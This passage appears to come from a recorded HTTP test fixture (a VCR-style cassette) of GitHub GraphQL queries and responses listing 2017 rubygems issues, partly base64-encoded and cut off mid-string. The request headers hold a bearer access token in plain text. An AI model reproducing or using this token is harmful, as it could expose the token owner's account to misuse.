report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wNC0wNlQxNDowMDoyOC0wNDowMM4NHKjg","node":{"number":1890,"createdAt":"2017-04-06T18:00:28Z","closedAt":"2017-04-07T13:13:46Z","updatedAt":"2017-04-07T22:51:26Z","state":"CLOSED","title":"OpenSSL::X509::StoreError on IBM i (iSeries/AS400) system using Windows","url":"https://github.com/rubygems/rubygems/issues/1890","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wNC0wOFQwMjoyMDoyNS0wNDowMM4NIrm9","node":{"number":1891,"createdAt":"2017-04-08T06:20:25Z","closedAt":"2017-04-08T12:34:24Z","updatedAt":"2017-04-08T12:34:24Z","state":"CLOSED","title":"gem SHELL PATH error","url":"https://github.com/rubygems/rubygems/issues/1891","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wNC0xMlQxMjowNToxNi0wNDowMM4NMPXS","node":{"number":1893,"createdAt":"2017-04-12T16:05:16Z","closedAt":"2017-05-10T23:12:01Z","updatedAt":"2017-11-29T12:25:49Z","state":"CLOSED","title":"405 Method not Allowed when trying to install a gem","url":"https://github.com/rubygems/rubygems/issues/1893","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wNC0xMlQyMToyNDozNS0wNDowMM4NMs7H","node":{"number":1894,"createdAt":"2017-04-13T01:24:35Z","closedAt":"2017-09-18T07:32:02Z","updatedAt":"2017-09-18T07:32:02Z","state":"CLOSED","title":"Unable to install any gem - SSL issue","url":"https://github.com/rubygems/rubygems/issues/1894","labels":{"nodes":[{"name":"status: user feedback required"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wNC0xM1QxNDoyODo0Ny0wNDowMM4NNgjq","node":{"number":1895,"createdAt":"2017-04-13T18:28:47Z","closedAt":"2017-09-04T13:18:57Z","updatedAt":"2017-09-04T13:18:57Z","state":"CLOSED","title":"Unable to install any Gem. ","url":"https://github.com/rubygems/rubygems/issues/1895","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wNC0xOFQxNzoxMjoyNC0wNDowMM4NQ80l","node":{"number":1897,"createdAt":"2017-04-18T21:12:24Z","closedAt":null,"updatedAt":"2017-07-22T18:36:50Z","state":"OPEN","title":"RubyGems should have a Gemfile","url":"https://github.com/rubygems/rubygems/issues/1897","labels":{"nodes":[{"name":"type: administrative"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wNC0xOVQxMzo1ODozNy0wNDowMM4NR/fH","node":{"number":1900,"createdAt":"2017-04-19T17:58:37Z","closedAt":"2017-04-20T16:35:17Z","updatedAt":"2017-04-20T16:35:18Z","state":"CLOSED","title":"Checksum Inconsistent with the downloaded gem and expected value - azure gem","url":"https://github.com/rubygems/rubygems/issues/1900","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wNC0yMFQxMToxNTo0Mi0wNDowMM4NTEY6","node":{"number":1901,"createdAt":"2017-04-20T15:15:42Z","closedAt":"2017-11-30T08:17:55Z","updatedAt":"2017-11-30T08:17:55Z","state":"CLOSED","title":"rubygems/core_ext/kernel_require.rb can exit without releasing RUBYGEMS_ACTIVATION_MONITOR","url":"https://github.com/rubygems/rubygems/issues/1901","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wNC0yMFQxNDo1NzoyMy0wNDowMM4NTTyo","node":{"number":1902,"createdAt":"2017-04-20T18:57:23Z","closedAt":"2017-04-20T19:13:58Z","updatedAt":"2017-04-20T19:48:46Z","state":"CLOSED","title":"selenium-webdriver 3.3.0 - action class double_click not working","url":"https://github.com/rubygems/rubygems/issues/1902","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wNC0yNVQxMTowMjo0OS0wNDowMM4NXI9Y","node":{"number":1905,"createdAt":"2017-04-25T15:02:49Z","closedAt":"2017-04-28T19:52:18Z","updatedAt":"2017-04-28T19:52:19Z","state":"CLOSED","title":"gem install... Command doesn''t work.","url":"https://github.com/rubygems/rubygems/issues/1905","labels":{"nodes":[]}}}]}}}}' http_version: recorded_at: Sat, 06 Jan 2018 15:00:29 GMT - request: method: post uri: https://api.github.com/graphql body: encoding: UTF-8 string: '{"query":"query {\n repository(owner: \"rubygems\", name: \"rubygems\") {\n issues(first: 100, after: \"Y3Vyc29yOnYyOpK5MjAxNy0wNC0yNVQxMTowMjo0OS0wNDowMM4NXI9Y\", orderBy:{field: CREATED_AT, direction: ASC}) {\n edges {\n cursor\n node {\n number\n createdAt\n closedAt\n updatedAt\n state\n title\n url\n labels(first: 100) {\n nodes {\n name\n }\n }\n }\n }\n }\n }\n}"}' headers: Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 Accept: - application/vnd.github.v4.idl User-Agent: - Ruby Host: - api.github.com Authorization: - bearer 9182777ff3c006795193a570cdac326b64459dc9 Bearer-Token: - 9182777ff3c006795193a570cdac326b64459dc9 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:30 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4973' X-Ratelimit-Reset: - '1515254347' Cache-Control: - no-cache X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - repo X-Github-Media-Type: - github.v4; param=idl Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.399337' X-Github-Request-Id: - A3C6:4D97:903F55:1C49043:5A50E48D body: encoding: ASCII-8BIT string: !binary |- eyJkYXRhIjp7InJlcG9zaXRvcnkiOnsiaXNzdWVzIjp7ImVkZ2VzIjpbeyJjdXJzb3IiOiJZM1Z5YzI5eU9uWXlPcEs1TWpBeE55MHdOQzB5TlZReE5qbzFORG8wTlMwd05Eb3dNTTROWGhOayIsIm5vZGUiOnsibnVtYmVyIjoxOTA3LCJjcmVhdGVkQXQiOiIyMDE3LTA0LTI1VDIwOjU0OjQ1WiIsImNsb3NlZEF0IjpudWxsLCJ1cGRhdGVkQXQiOiIyMDE3LTA1LTAyVDIyOjQyOjMyWiIsInN0YXRlIjoiT1BFTiIsInRpdGxlIjoiV2luZG93cyAxMDogQ2Fubm90IGluc3RhbGwgYW55IGdlbSB3aXRob3V0IGAtLXBsYXRmb3JtPXJ1YnkgLS12ZXJib3NlYCIsInVybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTkwNyIsImxhYmVscyI6eyJub2RlcyI6W3sibmFtZSI6InBsYXRmb3JtOiB3aW5kb3dzIn1dfX19LHsiY3Vyc29yIjoiWTNWeWMyOXlPbll5T3BLNU1qQXhOeTB3TlMwd01sUXdPVG94TWpveU5pMHdORG93TU00TmM4UHEiLCJub2RlIjp7Im51bWJlciI6MTkxMSwiY3JlYXRlZEF0IjoiMjAxNy0wNS0wMlQxMzoxMjoyNloiLCJjbG9zZWRBdCI6IjIwMTctMDUtMDlUMDQ6Mzc6NDBaIiwidXBkYXRlZEF0IjoiMjAxNy0wNS0wOVQxMjozMjoxNVoiLCJzdGF0ZSI6IkNMT1NFRCIsInRpdGxlIjoiMi42LjEyOiBVbmFibGUgdG8gcmVzb2x2ZSBkZXBlbmRlbmN5OiB1c2VyIHJlcXVlc3RlZCAnaW8tY29uc29sZSAoPSAwLjQuNSknIiwidXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xOTExIiwibGFiZWxzIjp7Im5vZGVzIjpbXX19fSx7ImN1cnNvciI6IlkzVnljMjl5T25ZeU9wSzVNakF4Tnkwd05TMHdNbFF4TkRvMU1Ub3hOQzB3TkRvd01NNE5kVHZMIiwibm9kZSI6eyJudW1iZXIiOjE5MTIsImNyZWF0ZWRBdCI6IjIwMTctMDUtMDJUMTg6NTE6MTRaIiwiY2xvc2VkQXQiOiIyMDE3LTA5LTA0VDEzOjE3OjE5WiIsInVwZGF0ZWRBdCI6IjIwMTctMDktMDRUMTM6MTc6MTlaIiwic3RhdGUiOiJDTE9TRUQiLCJ0aXRsZSI6IlVuYWJsZSB0byBkb3dubG9hZCBkYXRhIGZyb20gaHR0cHM6Ly9ydWJ5Z2Vtcy5vcmcvIC0gU1NMX2Nvbm5lY3QgcmV0dXJuZWQ9MSBlcnJubz0wIHN0YXRlPVNTTHYyL3YzIHJlYWQgc2VydmVyIGhlbGxvIEE6IHRsc3YxIGFsZXJ0IHByb3RvY29sIHZlcnNpb24gIiwidXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xOTEyIiwibGFiZWxzIjp7Im5vZGVzIjpbXX19fSx7ImN1cnNvciI6IlkzVnljMjl5T25ZeU9wSzVNakF4Tnkwd05TMHdORlF3TXpvek9Ub3hNaTB3TkRvd01NNE5lNGhiIiwibm9kZSI6eyJudW1iZXIiOjE5MTMsImNyZWF0ZWRBdCI6IjIwMTctMDUtMDRUMDc6Mzk6MTJaIiwiY2xvc2VkQXQiOiIyMDE3LTA1LTA0VDE4OjI3OjE5WiIsInVwZGF0ZWRBdCI6IjIwMTctMDUtMDRUMjM6Mjc6NTBaIiwic3RhdGUiOiJDTE9TRUQiLCJ0aXRsZSI6Ik9iZnVzY2F0ZSBhdXRob3IgZW1haWxzIG9uIHNpdGUgcHJvZmlsZSBwYWdlcyIsInVybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTkxMyIsImxhYmVscyI6eyJub2RlcyI6W119fX0seyJjdXJzb3IiOiJZM1Z5YzI5eU9uWXlPcEs1TWpBeE55MHdOUzB3TkZReE5Eb3hOam95T1Mwd05Eb3dNTTROZmhEOCIsIm5vZGUiOnsibnVtYmVyIjoxOTE1LCJjcmVhdGVkQXQiOiIyMDE3LTA1LTA0VDE4OjE2OjI5WiIsImNsb3NlZEF0IjoiMjAxNy0wNS0xNVQxOTowNTo0NloiLCJ1cGRhdGVkQXQiOiIyMDE3LTA1LTE1VDE5OjA1OjQ2WiIsInN0YXRlIjoiQ0xPU0VEIiwidGl0bGUiOiJHZW06OlVuc2F0aXNmaWFibGVEZXBlbmRlbmN5RXJyb3I6IFVuYWJsZSB0byByZXNvbHZlIGRlcGVuZGVuY3k6IHVzZXIgcmVxdWVzdGVkICdidW5kbGVyICg9IDEuMTMuNSknIiwidXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xOTE1IiwibGFiZWxzIjp7Im5vZGVzIjpbXX19fSx7ImN1cnNvciI6IlkzVnljMjl5T25ZeU9wSzVNakF4Tnkwd05TMHhNRlF4TnpvME5Ub3lNQzB3TkRvd01NNE5sRUNEIiwibm9kZSI6eyJudW1iZXIiOjE5MTksImNyZWF0ZWRBdCI6IjIwMTctMDUtMTBUMjE6NDU6MjBaIiwiY2xvc2VkQXQiOm51bGwsInVwZGF0ZWRBdCI6IjIwMTctMTAtMDVUMjI6NDA6NTNaIiwic3RhdGUiOiJPUEVOIiwidGl0bGUiOiJHZW06OlJlcXVpcmVtZW50IGFkZCBTZW1WZXIgb3BlcmF0b3IiLCJ1cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE5MTkiLCJsYWJlbHMiOnsibm9kZXMiOlt7Im5hbWUiOiJjb250cmlidXRpb246IHVuY2xhaW1lZCJ9LHsibmFtZSI6InR5cGU6IGZlYXR1cmUgcmVxdWVzdCJ9XX19fSx7ImN1cnNvciI6IlkzVnljMjl5T25ZeU9wSzVNakF4Tnkwd05TMHhNVlF3T0RveE16b3hOUzB3TkRvd01NNE5sbzVHIiwibm9kZSI6eyJudW1iZXIiOjE5MjEsImNyZWF0ZWRBdCI6IjIwMTctMDUtMTFUMTI6MTM6MTVaIiwiY2xvc2VkQXQiOiIyMDE3LTEwLTA5VDIyOjM2OjQ4WiIsInVwZGF0ZWRBdCI6IjIwMTctMTAtMDlUMjI6MzY6NDhaIiwic3RhdGUiOiJDTE9TRUQiLCJ0aXRsZSI6IjIgQnVpbGRzIGFyZSB0cmlnZ2VyZWQgb24gVHJhdmlzIENJIGZvciBlYWNoIHB1c2ggdG8gR2l0SHViIiwidXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xOTIxIiwibGFiZWxzIjp7Im5vZGVzIjpbeyJuYW1lIjoidHlwZTogYWRtaW5pc3RyYXRpdmUifV19fX0seyJjdXJzb3IiOiJZM1Z5YzI5eU9uWXlPcEs1TWpBeE55MHdOUzB4TlZReE9Eb3lNRG93TlMwd05Eb3dNTTROcEN0WSIsIm5vZGUiOnsibnVtYmVyIjoxOTIyLCJjcmVhdGVkQXQiOiIyMDE3LTA1LTE1VDIyOjIwOjA1WiIsImNsb3NlZEF0IjoiMjAxNy0wNi0xM1QxNzowODozOVoiLCJ1cGRhdGVkQXQiOiIyMDE3LTA2LTEzVDE3OjA4OjQwWiIsInN0YXRlIjoiQ0xPU0VEIiwidGl0bGUiOiJVbmFibGUgVG8gQWNjZXNzIGFwaS5ydWJ5Z2Vtcy5vcmc6IFBhY2tldCBhbmFseXNpcyBzaG93cyBcIkFwcGxpY2F0aW9uIFR5cGVcIiBoZWFkZXIgbWFsZm9ybWVkLiAiLCJ1cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE5MjIiLCJsYWJlbHMiOnsibm9kZXMiOltdfX19LHsiY3Vyc29yIjoiWTNWeWMyOXlPbll5T3BLNU1qQXhOeTB3TlMweE5sUXdOVG8wTlRveE1TMHdORG93TU00TnBkdFQiLCJub2RlIjp7Im51bWJlciI6MTkyMywiY3JlYXRlZEF0IjoiMjAxNy0wNS0xNlQwOTo0NToxMVoiLCJjbG9zZWRBdCI6IjIwMTctMDYtMDRUMDA6NTY6MzRaIiwidXBkYXRlZEF0IjoiMjAxNy0wNi0wNFQwMDo1NjozNFoiLCJzdGF0ZSI6IkNMT1NFRCIsInRpdGxlIjoiSW5zdGFsbGluZyBnZW1zIGxvY2FsbHkgaXMgdmVyeSBzbG93IiwidXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xOTIzIiwibGFiZWxzIjp7Im5vZGVzIjpbeyJuYW1lIjoiY2F0ZWdvcnk6IGluc3RhbGwifSx7Im5hbWUiOiJ0eXBlOiBidWcgcmVwb3J0In1dfX19LHsiY3Vyc29yIjoiWTNWeWMyOXlPbll5T3BLNU1qQXhOeTB3TlMweE4xUXdPRG95TmpvME5DMHdORG93TU00TnExNzMiLCJub2RlIjp7Im51bWJlciI6MTkyNCwiY3JlYXRlZEF0IjoiMjAxNy0wNS0xN1QxMjoyNjo0NFoiLCJjbG9zZWRBdCI6IjIwMTctMDYtMDRUMDE6Mzg6MDRaIiwidXBkYXRlZEF0IjoiMjAxNy0wNi0wNFQwMTozODowNVoiLCJzdGF0ZSI6IkNMT1NFRCIsInRpdGxlIjoiYGdlbSBzZXJ2ZXJgIGhhcyBpc3N1ZXMgc2VydmluZyBnZW1zcGVjcyBmb3IgZ2VtcyB3aXRoIG51bWJlcnMgaW4gdGhlaXIgbmFtZSIsInVybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTkyNCIsImxhYmVscyI6eyJub2RlcyI6W119fX0seyJjdXJzb3IiOiJZM1Z5YzI5eU9uWXlPcEs1TWpBeE55MHdOUzB4T0ZRd05qb3dNRG8xTXkwd05Eb3dNTTROcjYwMSIsIm5vZGUiOnsibnVtYmVyIjoxOTI3LCJjcmVhdGVkQXQiOiIyMDE3LTA1LTE4VDEwOjAwOjUzWiIsImNsb3NlZEF0IjoiMjAxNy0wNS0xOFQxMToyMzoxMVoiLCJ1cGRhdGVkQXQiOiIyMDE3LTA1LTE4VDExOjIzOjExWiIsInN0YXRlIjoiQ0xPU0VEIiwidGl0bGUiOiJBUEkgZG93biIsInVybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTkyNyIsImxhYmVscyI6eyJub2RlcyI6W119fX0seyJjdXJzb3IiOiJZM1Z5YzI5eU9uWXlPcEs1TWpBeE55MHdOUzB4T1ZRd016b3dPVG96TVMwd05Eb3dNTTROczlVNiIsIm5vZGUiOnsibnVtYmVyIjoxOTI4LCJjcmVhdGVkQXQiOiIyMDE3LTA1LTE5VDA3OjA5OjMxWiIsImNsb3NlZEF0IjoiMjAxNy0xMS0zMFQwODoxMTozMloiLCJ1cGRhdGVkQXQiOiIyMDE3LTExLTMwVDA4OjExOjMzWiIsInN0YXRlIjoiQ0xPU0VEIiwidGl0bGUiOiJyZWZyZXNoIEdlbSBhdCB0aGUgZW5kIG9mIGB0ZWFyZG93bmAiLCJ1cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE5MjgiLCJsYWJlbHMiOnsibm9kZXMiOltdfX19LHsiY3Vyc29yIjoiWTNWeWMyOXlPbll5T3BLNU1qQXhOeTB3TlMweE9WUXhOam8wTnpveU9DMHdORG93TU00TnR0UHciLCJub2RlIjp7Im51bWJlciI6MTkyOSwiY3JlYXRlZEF0IjoiMjAxNy0wNS0xOVQyMDo0NzoyOFoiLCJjbG9zZWRBdCI6bnVsbCwidXBkYXRlZEF0IjoiMjAxNy0wNS0xOVQyMDo0ODo0OFoiLCJzdGF0ZSI6Ik9QRU4iLCJ0aXRsZSI6IklTTyBFbmNvZGluZyBhbmQgYnVpbGRpbmcgYSAuZ2VtIGZpbGUsIGxlYWRpbmcgdG8gdGhlIGVycm9yIG1lc3NhZ2UgXCJFUlJPUjogIFdoaWxlIGV4ZWN1dGluZyBnZW0gLi4uIChBcmd1bWVudEVycm9yKSBpbnZhbGlkIGJ5dGUgc2VxdWVuY2UgaW4gVVRGLThcIiBvbiB0aGUgY29tbWFuZGxpbmUiLCJ1cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE5MjkiLCJsYWJlbHMiOnsibm9kZXMiOlt7Im5hbWUiOiJzdGF0dXM6IHRyaWFnZSJ9XX19fSx7ImN1cnNvciI6IlkzVnljMjl5T25ZeU9wSzVNakF4Tnkwd05TMHlNbFF3TnpveU1qbzFPUzB3TkRvd01NNE51eFZYIiwibm9kZSI6eyJudW1iZXIiOjE5MzAsImNyZWF0ZWRBdCI6IjIwMTctMDUtMjJUMTE6MjI6NTlaIiwiY2xvc2VkQXQiOiIyMDE3LTA2LTEzVDE3OjA3OjM3WiIsInVwZGF0ZWRBdCI6IjIwMTctMDYtMTNUMTc6MDc6MzhaIiwic3RhdGUiOiJDTE9TRUQiLCJ0aXRsZSI6IlVucmVzb2x2ZWQgU3BlY3MgZHVyaW5nIEdlbSIsInVybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTkzMCIsImxhYmVscyI6eyJub2RlcyI6W119fX0seyJjdXJzb3IiOiJZM1Z5YzI5eU9uWXlPcEs1TWpBeE55MHdOUzB5TTFReU1qb3lNem96T1Mwd05Eb3dNTTROdzBtQSIsIm5vZGUiOnsibnVtYmVyIjoxOTMxLCJjcmVhdGVkQXQiOiIyMDE3LTA1LTI0VDAyOjIzOjM5WiIsImNsb3NlZEF0IjoiMjAxNy0xMC0xOFQxMjo1NzoxOFoiLCJ1cGRhdGVkQXQiOiIyMDE3LTEwLTE4VDEyOjU3OjE5WiIsInN0YXRlIjoiQ0xPU0VEIiwidGl0bGUiOiInY2hlY2tfdmVyc2lvbl9jb25mbGljdCc6IHVzaW5nICdyYWlscyBuZXcnLCB3aXRoIGEgdmVyc2lvbiwgd2hlbiBSYWlscyA1LjEuWCBpbnN0YWxsZWQiLCJ1cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE5MzEiLCJsYWJlbHMiOnsibm9kZXMiOltdfX19LHsiY3Vyc29yIjoiWTNWeWMyOXlPbll5T3BLNU1qQXhOeTB3TlMweU5WUXhOem94TkRvd09TMHdORG93TU00Tnk5TmQiLCJub2RlIjp7Im51bWJlciI6MTkzMiwiY3JlYXRlZEF0IjoiMjAxNy0wNS0yNVQyMToxNDowOVoiLCJjbG9zZWRBdCI6IjIwMTctMDktMDRUMTM6Mjk6MDlaIiwidXBkYXRlZEF0IjoiMjAxNy0wOS0wNFQxMzoyOTowOVoiLCJzdGF0ZSI6IkNMT1NFRCIsInRpdGxlIjoiV3JvbmcgdmVyc2lvbiBvZiBnZW0ncyBiaW5hcnkgaXMgZXhlY3V0ZWQiLCJ1cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE5MzIiLCJsYWJlbHMiOnsibm9kZXMiOltdfX19LHsiY3Vyc29yIjoiWTNWeWMyOXlPbll5T3BLNU1qQXhOeTB3TlMwek1GUXhOVG94T0Rvd05DMHdORG93TU00TjJYQzUiLCJub2RlIjp7Im51bWJlciI6MTkzMywiY3JlYXRlZEF0IjoiMjAxNy0wNS0zMFQxOToxODowNFoiLCJjbG9zZWRBdCI6IjIwMTctMDYtMDNUMjE6NTM6MDJaIiwidXBkYXRlZEF0IjoiMjAxNy0wNi0wM1QyMTo1MzowMloiLCJzdGF0ZSI6IkNMT1NFRCIsInRpdGxlIjoiUXVlc3Rpb246IEhvdyB0byBsb2dvdXQgb2YgYGdlbWAgY2xpPyIsInVybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTkzMyIsImxhYmVscyI6eyJub2RlcyI6W3sibmFtZSI6InR5cGU6IGZlYXR1cmUgcmVxdWVzdCJ9XX19fSx7ImN1cnNvciI6IlkzVnljMjl5T25ZeU9wSzVNakF4Tnkwd05TMHpNVlF5TVRvd056b3dOUzB3TkRvd01NNE4zMDkzIiwibm9kZSI6eyJudW1iZXIiOjE5MzUsImNyZWF0ZWRBdCI6IjIwMTctMDYtMDFUMDE6MDc6MDVaIiwiY2xvc2VkQXQiOiIyMDE3LTA5LTE2VDAxOjI1OjQxWiIsInVwZGF0ZWRBdCI6IjIwMTctMDktMTZUMDE6MjU6NDFaIiwic3RhdGUiOiJDTE9TRUQiLCJ0aXRsZSI6IlVuYWJsZSB0byBwdXNoIEdlbSIsInVybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTkzNSIsImxhYmVscyI6eyJub2RlcyI6W119fX0seyJjdXJzb3IiOiJZM1Z5YzI5eU9uWXlPcEs1TWpBeE55MHdOUzB6TVZReU16b3lNam8xTmkwd05Eb3dNTTROMzVEKyIsIm5vZGUiOnsibnVtYmVyIjoxOTM2LCJjcmVhdGVkQXQiOiIyMDE3LTA2LTAxVDAzOjIyOjU2WiIsImNsb3NlZEF0IjoiMjAxNy0wNi0wM1QyMjozMToyN1oiLCJ1cGRhdGVkQXQiOiIyMDE3LTA2LTAzVDIyOjMxOjI3WiIsInN0YXRlIjoiQ0xPU0VEIiwidGl0bGUiOiJXaW5kb3dzIDEwOiBFcnJubzo6RUFDQ0VTUyBlcnJvciBob3cgdG8gY29ycmVjdCIsInVybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTkzNiIsImxhYmVscyI6eyJub2RlcyI6W119fX0seyJjdXJzb3IiOiJZM1Z5YzI5eU9uWXlPcEs1TWpBeE55MHdOaTB3TVZRd016b3dNam8wTWkwd05Eb3dNTTROMy83NCIsIm5vZGUiOnsibnVtYmVyIjoxOTM3LCJjcmVhdGVkQXQiOiIyMDE3LTA2LTAxVDA3OjAyOjQyWiIsImNsb3NlZEF0IjoiMjAxNy0wNi0wMVQwNzowNToyMloiLCJ1cGRhdGVkQXQiOiIyMDE3LTA2LTAxVDA3OjA1OjIyWiIsInN0YXRlIjoiQ0xPU0VEIiwidGl0bGUiOiJDb3VsZCBub3QgcHVzaCB1cGRhdGVkIHZlcnNpb24gb2YgYWxyZWFkeSB5YW5rZWQgZ2VtICIsInVybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTkzNyIsImxhYmVscyI6eyJub2RlcyI6W119fX0seyJjdXJzb3IiOiJZM1Z5YzI5eU9uWXlPcEs1TWpBeE55MHdOaTB3TTFReE9Ub3hNVG95Tmkwd05Eb3dNTTRONldtViIsIm5vZGUiOnsibnVtYmVyIjoxOTQwLCJjcmVhdGVkQXQiOiIyMDE3LTA2LTAzVDIzOjExOjI2WiIsImNsb3NlZEF0IjpudWxsLCJ1cGRhdGVkQXQiOiIyMDE3LTA5LTA0VDEzOjUwOjQ0WiIsInN0YXRlIjoiT1BFTiIsInRpdGxlIjoiQWRkIGJlbmNobWFyayB0ZXN0IGZvciBDVkUtMjAxMy00Mjg3IiwidXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xOTQwIiwibGFiZWxzIjp7Im5vZGVzIjpbeyJuYW1lIjoidHlwZTogZmVhdHVyZSByZXF1ZXN0In1dfX19LHsiY3Vyc29yIjoiWTNWeWMyOXlPbll5T3BLNU1qQXhOeTB3Tmkwd05GUXhPVG94TXpveU15MHdORG93TU00TjZtc1YiLCJub2RlIjp7Im51bWJlciI6MTk0MSwiY3JlYXRlZEF0IjoiMjAxNy0wNi0wNFQyMzoxMzoyM1oiLCJjbG9zZWRBdCI6IjIwMTctMDYtMDVUMTI6MDg6MjRaIiwidXBkYXRlZEF0IjoiMjAxNy0wNi0wNVQxMjowODoyNFoiLCJzdGF0ZSI6IkNMT1NFRCIsInRpdGxlIjoiVW5hYmxlIHRvIHB1c2ggbmV3IGdlbSB2ZXJzaW9uIChGYXN0bHkgRXJyb3I6IHVua25vd24gZG9tYWluKS4iLCJ1cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE5NDEiLCJsYWJlbHMiOnsibm9kZXMiOltdfX19LHsiY3Vyc29yIjoiWTNWeWMyOXlPbll5T3BLNU1qQXhOeTB3Tmkwd04xUXdNam95Tnpvd01DMHdORG93TU00TjlDZVgiLCJub2RlIjp7Im51bWJlciI6MTk0NSwiY3JlYXRlZEF0IjoiMjAxNy0wNi0wN1QwNjoyNzowMFoiLCJjbG9zZWRBdCI6bnVsbCwidXBkYXRlZEF0IjoiMjAxNy0xMS0wNlQxMjo1NToyOFoiLCJzdGF0ZSI6Ik9QRU4iLCJ0aXRsZSI6Ik1ha2UgXCJVbnJlc29sdmVkIHNwZWNzIGR1cmluZyBHZW06OlNwZWNpZmljYXRpb24ucmVzZXRcIiB3YXJuaW5nIG1vcmUgdXNlZnVsIiwidXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xOTQ1IiwibGFiZWxzIjp7Im5vZGVzIjpbeyJuYW1lIjoic3RhdHVzOiB0cmlhZ2UifV19fX0seyJjdXJzb3IiOiJZM1Z5YzI5eU9uWXlPcEs1TWpBeE55MHdOaTB3TjFReE5UbzFOam94Tmkwd05Eb3dNTTROOTRCWiIsIm5vZGUiOnsibnVtYmVyIjoxOTQ2LCJjcmVhdGVkQXQiOiIyMDE3LTA2LTA3VDE5OjU2OjE2WiIsImNsb3NlZEF0IjpudWxsLCJ1cGRhdGVkQXQiOiIyMDE3LTA2LTA3VDIwOjA3OjA0WiIsInN0YXRlIjoiT1BFTiIsInRpdGxlIjoiV2luZG93cyAteDY0LW1pbmd3MzIgZ2VtIHZlcnNpb24gc3RyaW5ncyBvdmVyd3JpdHRlbiBhbmQgdGhlbiBnZW0gbm90IGZvdW5kIiwidXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xOTQ2IiwibGFiZWxzIjp7Im5vZGVzIjpbeyJuYW1lIjoic3RhdHVzOiB0cmlhZ2UifV19fX0seyJjdXJzb3IiOiJZM1Z5YzI5eU9uWXlPcEs1TWpBeE55MHdOaTB3TjFReU1qbzBOVG8xTlMwd05Eb3dNTTROK0p1QyIsIm5vZGUiOnsibnVtYmVyIjoxOTQ3LCJjcmVhdGVkQXQiOiIyMDE3LTA2LTA4VDAyOjQ1OjU1WiIsImNsb3NlZEF0IjoiMjAxNy0xMC0wNlQwMzo0NTowOVoiLCJ1cGRhdGVkQXQiOiIyMDE3LTEwLTA2